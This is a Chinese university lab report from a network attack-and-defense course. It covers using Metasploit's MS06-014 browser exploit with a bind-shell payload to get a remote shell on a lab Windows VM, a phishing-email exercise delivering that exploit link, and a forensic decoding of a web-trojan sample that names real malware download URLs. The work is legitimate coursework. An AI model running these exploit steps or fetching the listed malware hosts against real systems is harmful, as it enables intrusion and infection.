20212803 2021-2022-2 《网络攻防实践》实践11次报告
1.实践内容
本次实践我们将完成web浏览器渗透攻击、取证分析实践和攻防对抗实践
web浏览器渗透攻击
使用攻击机和Windows靶机进行浏览器渗透攻击实验，体验网页木马构造及实施浏览器攻击的实际过程。
取证分析实践
对文件进行解密分析
攻防对抗实践
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码，并进行混淆处理之后组装成一个URL，通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态，并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
2.实践过程
2.1 web浏览器渗透攻击
①选择使用Metasploit中的MS06-014渗透攻击模块
查看攻击机和靶机IP地址并测试其联通性
得知攻击机IP172.30.0.207
靶机IP 172.30.0.178
打开msfconsole，输入命令search MS06-014，然后输入命令
use exploit/windows/browser/ie_createobject
加载MS06-014模块
②选择PAYLOAD为任意远程Shell连接
使用命令 set payload windows/shell/bind_tcp 加载payload
③设置服务器地址和URL参数，运行exploit，构造出恶意网页木马脚本
使用命令exploit进行攻击，就会显示有木马的网址
网址为http://172.30.0.207:8080/6SaNrnb7vo78gfK
④在靶机环境中启动浏览器，验证与服务器的连通性，并访问而已网页木马脚本URL
在windows服务器中访问此网址就会有一段英文字符返回：
⑤在攻击机的Metasploit软件中查看渗透攻击状态，并通过成功渗透攻击后建立起的远程控制会话SESSION，在靶机上远程执行命令
在攻击机中显示了攻击状态，如下图所示，攻击成功
输入命令sessions -i 1 返回靶机命令命令行于shell。
取证分析实践—网页木马攻击场景分析
打开给出的start.html文件，查看new09.htm
分析可得，new09.htm与start.html在同一目录下，然后再找到new09.htm，然后打开文件
文件中提供了两个url http://aa.18dd.net/aa/kl.htm http://js.users.51.la/1299644.js
然后对这两个文件地址经行md5加密结果为
MD5(http://aa.18dd.net/aa/kl.htm) = 7f60672dcd6b5e90b6772545ee219bd3
MD5(http://js.users.51.la/1299644.js) = 23180a42a2ff1192150231b44ffdf3d3
在hash文件夹下，我们可以找到以上hash命名的文件
发现第一个文件使用的是XXTEA+Base64的加密方法，加密密钥发现是最后三行中，
解密字符串： '\x73\x63\x72\x69\x70\x74'
密钥为script
使用解密网站解密如上文件内容，解密网站为https://cycy.sourceforge.io/xxtea/
结果如下所述
<script>

分析代码可得到执行文件 http://down.18dd.net/bb/pps.exe
http://down.18dd.net/bb/bd.cab
经过分析这是一个压缩文件，我们把这一个文件解压缩得到bd.exe文件，根据前三个文件的分析值我们得到四个文件。
把前三个文件经行MD5散列
md5(http://down.18dd.net/bb/014.ex)=ca4e4a1730b0f69a9b94393d9443b979
md5(http://down.18dd.net/bb/bf.exe)=268cbd59fbed235f6cf6b41b92b03f8e
md5(http://down.18dd.net/bb/pps.exe)=ff59b3b8961f502289c1b4df8c37e2a4
然后对这四个文件的文件内容进行md5散列值计算，得到相同的散列值，我们得出结论这四个文件是一样的。
然后我们任意取一个文件查看这一个文件的加壳情况
我们选择pps.exe文件
使用了peid分析了文件发现是用delphi编写的。然后我们使用IDA反汇编这一个exe文件
然后就可以进行代码分析
2.3 Web浏览器渗透攻击实验
攻击方
如同实验一使用MS06-014漏洞生成的URL，http://172.30.0.207:8080/6SaNrnb7vo78gfK
然后我们把链接伪装成一封邮件发送给防守方如下图所示
防守方
防守方接到邮件，查看源代码
发现有大量空格等空字符，去除空格等空字符可以得到网页代码

阅读代码可以发现漏洞MS06-014
3.学习中遇到的问题及解决
问题一：16进制解密成字符的时候一直不成功
解决：解密数据中删除非16进制字符，这样就能解密成功了
问题二：实验原始文件解压后一直会被自动删除
解决：关闭杀毒软件即可解决问题。
4.实践总结
通过本次实验，我学习了web渗透攻击技巧，网页木马分析取证，有难度，但收获不少。
